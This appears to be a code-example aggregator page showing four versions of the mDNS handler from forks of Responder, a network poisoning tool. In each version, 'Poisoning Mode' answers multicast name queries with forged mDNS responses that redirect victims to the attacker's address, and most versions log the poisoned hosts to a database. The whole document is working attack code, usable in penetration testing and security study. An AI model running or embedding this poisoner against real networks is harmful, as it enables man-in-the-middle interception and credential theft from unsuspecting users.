コード例 #1
0
ファイル: MDNS.py プロジェクト: 0xicl33n/Potato
	def handle(self):

		MADDR = "224.0.0.251"
		MPORT = 5353

		data, soc = self.request
		Request_Name = Parse_MDNS_Name(data)

		# Break out if we don't want to respond to this host
		if (not Request_Name) or (RespondToThisHost(self.client_address[0], Request_Name) is not True):
			return None

		try:
			# Analyze Mode
			if settings.Config.AnalyzeMode:
				if Parse_IPV6_Addr(data):
					print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))

			# Poisoning Mode
			else:
				if Parse_IPV6_Addr(data):
					
					Poisoned_Name = Poisoned_MDNS_Name(data)
					Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=socket.inet_aton(settings.Config.Bind_To))
					Buffer.calculate()
					soc.sendto(str(Buffer), (MADDR, MPORT))
					
					print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)

		except Exception:
			raise
コード例 #2
0
ファイル: MDNS.py プロジェクト: Jumbo-WJB/Responder
	def handle(self):
		MADDR = "224.0.0.251"
		MPORT = 5353

		data, soc = self.request
		Request_Name = Parse_MDNS_Name(data)

		# Break out if we don't want to respond to this host
		if (not Request_Name) or (RespondToThisHost(self.client_address[0], Request_Name) is not True):
			return None

		if settings.Config.AnalyzeMode:  # Analyze Mode
			if Parse_IPV6_Addr(data):
				print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))
                                SavePoisonersToDb({
			                           'Poisoner': 'MDNS', 
			                           'SentToIp': self.client_address[0], 
			                           'ForName': Request_Name,
			                           'AnalyzeMode': '1',
		                                  })
		else:  # Poisoning Mode
			if Parse_IPV6_Addr(data):

				Poisoned_Name = Poisoned_MDNS_Name(data)
				Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=RespondWithIPAton())
				Buffer.calculate()
				soc.sendto(str(Buffer), (MADDR, MPORT))

				print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)
                                SavePoisonersToDb({
			                           'Poisoner': 'MDNS', 
			                           'SentToIp': self.client_address[0], 
			                           'ForName': Request_Name,
			                           'AnalyzeMode': '0',
		                                  })
コード例 #3
0
ファイル: MDNS.py プロジェクト: spiv0t/Responder
    def handle(self):
        MADDR = "224.0.0.251"
        MPORT = 5353

        data, soc = self.request
        Request_Name = Parse_MDNS_Name(data)

        # Break out if we don't want to respond to this host
        if (not Request_Name) or (RespondToThisHost(self.client_address[0],
                                                    Request_Name) is not True):
            return None

        if settings.Config.AnalyzeMode:  # Analyze Mode
            if Parse_IPV6_Addr(data):
                print text(
                    '[Analyze mode: MDNS] Request by %-15s for %s, ignoring' %
                    (color(self.client_address[0], 3), color(Request_Name, 3)))
        else:  # Poisoning Mode
            if Parse_IPV6_Addr(data):

                Poisoned_Name = Poisoned_MDNS_Name(data)
                Buffer = MDNS_Ans(AnswerName=Poisoned_Name,
                                  IP=socket.inet_aton(settings.Config.Bind_To))
                Buffer.calculate()
                soc.sendto(str(Buffer), (MADDR, MPORT))

                print color(
                    '[*] [MDNS] Poisoned answer sent to %-15s for name %s' %
                    (self.client_address[0], Request_Name), 2, 1)
コード例 #4
0
ファイル: MDNS.py プロジェクト: wisdark/Responder
    def handle(self):

        data, soc = self.request
        Request_Name = Parse_MDNS_Name(data)
        MDNSType = Parse_IPV6_Addr(data)
        # Break out if we don't want to respond to this host

        if (not Request_Name) or (RespondToThisHost(self.client_address[0],
                                                    Request_Name) is not True):
            return None

        if settings.Config.AnalyzeMode:  # Analyze Mode
            print(
                text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' %
                     (color(self.client_address[0], 3), color(Request_Name,
                                                              3))))
            SavePoisonersToDb({
                'Poisoner': 'MDNS',
                'SentToIp': self.client_address[0],
                'ForName': Request_Name,
                'AnalyzeMode': '1',
            })
        elif MDNSType == True:  # Poisoning Mode
            Poisoned_Name = Poisoned_MDNS_Name(data)
            Buffer = MDNS_Ans(AnswerName=Poisoned_Name)
            Buffer.calculate()
            soc.sendto(NetworkSendBufferPython2or3(Buffer),
                       self.client_address)
            print(
                color(
                    '[*] [MDNS] Poisoned answer sent to %-15s for name %s' %
                    (self.client_address[0], Request_Name), 2, 1))
            SavePoisonersToDb({
                'Poisoner': 'MDNS',
                'SentToIp': self.client_address[0],
                'ForName': Request_Name,
                'AnalyzeMode': '0',
            })

        elif MDNSType == 'IPv6':  # Poisoning Mode
            Poisoned_Name = Poisoned_MDNS_Name(data)
            Buffer = MDNS6_Ans(AnswerName=Poisoned_Name)
            Buffer.calculate()
            soc.sendto(NetworkSendBufferPython2or3(Buffer),
                       self.client_address)
            print(
                color(
                    '[*] [MDNS] Poisoned answer sent to %-15s for name %s' %
                    (self.client_address[0], Request_Name), 2, 1))
            SavePoisonersToDb({
                'Poisoner': 'MDNS6',
                'SentToIp': self.client_address[0],
                'ForName': Request_Name,
                'AnalyzeMode': '0',
            })